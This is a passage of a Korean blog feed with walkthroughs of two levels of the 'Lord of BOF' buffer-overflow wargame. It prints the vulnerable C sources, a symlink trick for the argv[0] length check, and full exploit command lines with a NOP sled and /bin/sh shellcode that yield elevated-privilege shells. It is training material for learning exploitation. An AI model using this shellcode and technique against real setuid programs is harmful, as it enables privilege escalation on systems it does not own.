# 인자헌터 + 에그헌터 + 버퍼헌터&lt;/div&gt;
&lt;div&gt;# 새로운 헌터가 추가되었습니다. 네임헌터?!&lt;/div&gt;
&lt;div&gt;# 이 헌터는 Argv[0] 까지 접근을 합니다. Argv[0] != 77,&lt;/div&gt;
&lt;div&gt;# 즉 프로그램 이름의 길이가 77자가 아니라면 프로그램은 종료됩니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
아까 바이너리 파일 디버깅 한게 도움이 많이 되겠군요,&lt;/div&gt;
&lt;div&gt;Argv[0] 은 프로그램의 네임을 뜻합니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그러면 어떻게 해야 할까요? 프로그램의 이름을 수정할까요?&lt;/div&gt;
&lt;div&gt;바로가기아시죠?&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
리눅스 시스템에도 바로가기가 존재합니다. 바로 심볼릭 링크라는게 존재합니다.&lt;/div&gt;
&lt;div&gt;심볼릭 링크란 &#039;어떤 파일을 가리키는 파일&#039;을 말합니다.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
http://kin.naver.com/qna/detail.nhn?d1id=1&amp;amp;dirId=1040203&amp;amp;docId=69358992&amp;amp;qb=66as64iF7IqkIOyLrOuzvOumrSDrp4Htgaw=&amp;amp;enc=utf8&amp;amp;section=kin&amp;amp;rank=2&amp;amp;search_sort=0&amp;amp;spq=0&amp;amp;pid=gCWQ8c5Y7uZssvHOdi0ssc--180253&amp;amp;sid=Tktf8PKFSk4AAD5dPtI&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
심볼릭링크를 생성하는 방법은 다음과 같습니다. ln -s 파일네임 복사할파일네임&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
ex) ln -s one two&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
이러면 two 라는 바로가기 파일이 생기는데, 아무런 내용도 없습니다.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;단지 실행하면 파일 one 에 연결해주는 역할을 합니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그러면 우리가 공격해야 하는 대상의 파일에 심볼릭 링크를 걸어봅시다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ls&lt;/div&gt;
&lt;div&gt;orge &amp;nbsp;orge.c &amp;nbsp;xodnr&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;[darkelf@localhost darkelf]$ ln -s orge `python -c &#039;print &quot;a&quot;*77&#039;`&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
파이썬 스크립트를 이용해 프로그램 이름의 길이가 77 인 프로그램을 만들었습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ls&lt;/div&gt;
&lt;div&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;/div&gt;
&lt;div&gt;orge&lt;/div&gt;
&lt;div&gt;orge.c&lt;/div&gt;
&lt;div&gt;xodnr&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
좀 더 정확하게 보겠습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ls -l&lt;/div&gt;
&lt;div&gt;total 24&lt;/div&gt;
&lt;div&gt;lrwxrwxrwx &amp;nbsp; &amp;nbsp;1 darkelf &amp;nbsp;darkelf &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 4 Jun &amp;nbsp;6 10:21 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -&amp;gt; orge // 이 부분을 보고 심볼릭링크가 걸려있다는 것을 확인할 수 있습니다.!&lt;/div&gt;
&lt;div&gt;-rwsr-sr-x &amp;nbsp; &amp;nbsp;1 orge &amp;nbsp; &amp;nbsp; orge &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;12700 Mar &amp;nbsp;1 &amp;nbsp;2010 orge&lt;/div&gt;
&lt;div&gt;-rw-r--r-- &amp;nbsp; &amp;nbsp;1 root &amp;nbsp; &amp;nbsp; root &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;800 Mar 29 &amp;nbsp;2010 orge.c&lt;/div&gt;
&lt;div&gt;drwxrwxr-x &amp;nbsp; &amp;nbsp;2 darkelf &amp;nbsp;darkelf &amp;nbsp; &amp;nbsp; &amp;nbsp;4096 Jun &amp;nbsp;6 10:13 xodnr&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;/div&gt;
&lt;div&gt;argv error&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
정상적으로 프로그램이 실행됩니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그러면 저 심볼릭링크가 걸려있는 파일을 대상으로 페이로드를 구성해봅시다.&lt;/div&gt;
&lt;div&gt;공격방식은 전과 같습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
Argv[1] == &quot;\xbf&quot;*48 / Argv[2] == 무수히 많은 NOP + SHELLCODE&lt;/div&gt;
&lt;div&gt;바로 bash2 만 실행하고 전에 사용했던 스크립트를 사용하겠습니다.&lt;/div&gt;
&lt;div&gt;**********(이게 계속 사용할 수 있는 이유는 아까 말했지만 Argv[2] 를 RET 의 주소로 해주었는데&lt;/div&gt;
&lt;div&gt;무수히 많은 NOP 가 들어있어 주소값 오차가 아무리 큰다하들 권한을 획득할 수 있다.)**********&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ bash2&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\x2e\x87\xff\xbf&quot;&#039;` `python -c &#039;print &quot;\x90&quot;*30000 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;argv[0] error&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
엇?! 정상적으로 프로그램이 실행되어야하는데 여기서 에러가 출력됩니다.&lt;/div&gt;
&lt;div&gt;왜 그런지는 상대경로에 문제가 있습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
우선 Argv[0] 이 과연 프로그램 이름을 인자로 받는다고 하였는데 어떻게 받을까요?&lt;/div&gt;
&lt;div&gt;이럴떄는 직접 코딩을 해서 확인해봅시다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost xodnr]$ cat orgetest.c&lt;/div&gt;
&lt;div&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
int main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, argv[0]);&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
이러한 소스를 구성했습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost xodnr]$ ls&lt;/div&gt;
&lt;div&gt;orgetest.c&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost xodnr]$ gcc -o orgetest orgetest.c&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost xodnr]$ ./orgetest&lt;/div&gt;
&lt;div&gt;./orgetest&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
뭐가 문제인지 눈치채셨습니까?&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
Argv[0] 에서 프로그램을 인자로 받을때는&lt;/div&gt;
&lt;div&gt;orgetest 로 받는게 아닌 ./ 가 붙은 ./orgetest 가 붙기 때문에&lt;/div&gt;
&lt;div&gt;우리는 심볼릭링크로 저장해줄떄 *77 이 아닌 *75 를 해줘야됩니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그러면 다시 한번 75 로 저장하고 페이로드를 구성하고 공략해보겠습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost xodnr]$ cd ..&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ln -s orge `python -c &#039;print &quot;a&quot;*75&#039;`&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ls&lt;/div&gt;
&lt;div&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -&amp;gt; 길이가 75 인 orge&lt;/div&gt;
&lt;div&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -&amp;gt; 길이가 77 인 orge&lt;/div&gt;
&lt;div&gt;orge&lt;/div&gt;
&lt;div&gt;orge.c&lt;/div&gt;
&lt;div&gt;xodnr&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[darkelf@localhost darkelf]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\x2e\x87\xff\xbf&quot;&#039;` `python -c &#039;print &quot;\x90&quot;*30000 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿.‡ÿ¿&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ id&lt;/div&gt;
&lt;div&gt;uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ my-pass&lt;/div&gt;
&lt;div&gt;euid = 507&lt;/div&gt;
&lt;div&gt;[ 패스워드 ]&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
성공적으로 문제가 풀어졌습니다.&lt;/div&gt;
&lt;div&gt;상대경로는 위와같이 현재 위치에서 보는 파일의 경로이며 절대경로는 파일의 전체경로 입니다.&lt;/div&gt;
&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-555-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-555-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-555-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19714073&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/555</guid>
			<comments>http://iyounges.org/555#entry555comment</comments>
			<pubDate>Fri, 19 Aug 2011 21:40:19 +0900</pubDate>
		</item>
		<item>
			<title>[BOF-Wargames] LOB Load of BOF LEVEL6 (wolfman -&gt; darkelf)</title>
			<link>http://iyounges.org/554</link>
			<description>&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;-------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
LOB Level6 [ Wolfman -&amp;gt; &amp;nbsp;Darkelf&lt;/div&gt;
&lt;div&gt;-------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[wolfman@localhost wolfman]$ ls&lt;/div&gt;
&lt;div&gt;darkelf &amp;nbsp;darkelf.c&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[wolfman@localhost wolfman]$ ./darkelf&lt;/div&gt;
&lt;div&gt;argv error&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[wolfman@localhost wolfman]$ cat darkelf.c&lt;/div&gt;
&lt;div&gt;/*&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - darkelf&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - egghunter + buffer hunter + check length of argv[1]&lt;/div&gt;
&lt;div&gt;*/&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
extern char **environ;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc &amp;lt; 2){&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argv error\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // egghunter&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i=0; environ[i]; i++)&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(environ[i], 0, strlen(environ[i]));&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][47] != &#039;\xbf&#039;)&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;stack is still your friend.\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // check the length of argument&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(strlen(argv[1]) &amp;gt; 48){&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argument is too long!\n&quot;); // argv[1] 의 길이가 48보다 클 경우 에러메세지 출력&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // buffer hunter&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(buffer, 0, 40);&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
# 이번에는 인자의 길이를 검사하는 게 생겨났다.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;# 하지만 이번문제 또한 여태까지 풀어왔던 문제와 계속 똑같다.&lt;/div&gt;
&lt;div&gt;# 이 인자의 길이를 검사하는 부분의 역할은 그 뒤에 페이로드를 더 쓰게하는것을 막는다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
`python -c &#039;print &quot;\xbf&quot;*48&#039;`&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
나는 계속 이렇게 페이로드를 구성했는데 그 뒤에 더 입력하는걸 제하는 역할을 한다.&lt;/div&gt;
&lt;div&gt;한마디로 예를 들자면&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
`python -c &#039;print &quot;\xbf&quot;*48 + &quot;\xbf&quot;*48&#039;`&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
저런걸 금하는 역할을 한다는 말이다. 뒤에 + 를 붙이고 더 이어가는것을 못하게 한다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[wolfman@localhost wolfman]$ ./darkelf `python -c &#039;print &quot;\xbf&quot;*48&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿&lt;/div&gt;
&lt;div&gt;Segmentation fault&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
48개를 넘겨주었을때 세그멘테이션 폴트가 뜬다. 아까와 똑같이 공격이 가능하다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
더 살펴보자면 아까 스크립트를 넘겨줄때 Argv[1] 에서 &quot;\bf&quot; 를 48개 넘겨주고 Argv[2] 에 NOP 와&amp;nbsp;&lt;/div&gt;
&lt;div&gt;쉘코드를 올려놓고 공격하였다. Argv[1] 에서 세그폴트가 뜨므로 가능했던거다, 물론 이 문제에서도 가능하다.&lt;/div&gt;
&lt;div&gt;그래서 한 마디로 아까 풀었던 방식으로 또 문제를 푸는게 가능하다는 말이다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그래서 Bash2 만 실행해보고 Argv[2] 에 NOP 와 쉘코드를 올려주고, Argv[1] 에 Argv[2] 의 주소를 올려놓는&lt;/div&gt;
&lt;div&gt;똑같은 방식으로 스크립트를 날려보겠다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[wolfman@localhost wolfman]$ bash2&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[wolfman@localhost wolfman]$ ./darkelf `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\x2e\x87\xff\xbf&quot;&#039;` `python -c &#039;print &quot;\x90&quot;*30000 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿.‡ÿ¿&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ id&lt;/div&gt;
&lt;div&gt;uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
bash$ my-pass&lt;/div&gt;
&lt;div&gt;euid = 506&lt;/div&gt;
&lt;div&gt;[ 패스워드 ]&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-554-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-554-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-554-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19713986&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/554</guid>
			<comments>http://iyounges.org/554#entry554comment</comments>
			<pubDate>Fri, 19 Aug 2011 21:37:37 +0900</pubDate>
		</item>
		<item>
			<title>[BOF-Wargames] LOB Load of BOF LEVEL5 (orc -&gt; wolfman) 문제풀이</title>
			<link>http://iyounges.org/553</link>
			<description>&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
-------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
LOB Level5 [ Orc -&amp;gt; Wolfman ]&lt;/div&gt;
&lt;div&gt;
-------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[orc@localhost orc]$ ls&lt;/div&gt;
&lt;div&gt;
wolfman &amp;nbsp;wolfman.c &amp;nbsp;xodnr&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[orc@localhost orc]$ ./wolfman aa aa&lt;/div&gt;
&lt;div&gt;
stack is still your friend.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[orc@localhost orc]$ cat wolfman.c&lt;/div&gt;
&lt;div&gt;
/*&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;
